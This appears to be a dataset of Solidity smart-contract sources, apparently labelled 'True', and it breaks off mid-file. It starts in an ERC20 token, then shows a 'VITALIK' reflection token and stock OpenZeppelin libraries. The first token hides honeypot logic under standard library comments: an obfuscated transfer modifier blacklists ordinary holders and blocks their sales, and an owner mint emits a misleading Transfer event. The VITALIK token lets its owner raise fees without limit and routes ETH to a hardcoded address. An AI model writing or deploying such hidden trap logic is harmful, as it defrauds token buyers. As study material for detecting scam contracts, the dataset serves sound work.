to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }

True

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pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract VITALIK is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "VITALIK"; string private _symbol = "VITALIK"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 3; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address payable public fundAddress = 0x17Eb799bE3035Ae18B42e89a3DF157a58a0D6F68; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setNumTokensSellToAddToLiquidity(uint256 newNumTokensSellToAddToLiquidity) external onlyOwner() { numTokensSellToAddToLiquidity = newNumTokensSellToAddToLiquidity; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setFundAddress(address payable newFundAddress) external onlyOwner() { fundAddress = newFundAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 oneSixth = contractTokenBalance.div(6); uint256 fiveSixths = oneSixth.mul(5); uint256 remainingSixth = contractTokenBalance.sub(fiveSixths); uint256 initialBalance = address(this).balance; swapTokensForEth(fiveSixths); uint256 newBalance = address(this).balance.sub(initialBalance); uint256 liquidityToAdd = newBalance.div(5); addLiquidity(remainingSixth, liquidityToAdd); fundAddress.transfer(address(this).balance); emit SwapAndLiquify(fiveSixths, newBalance, remainingSixth); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * 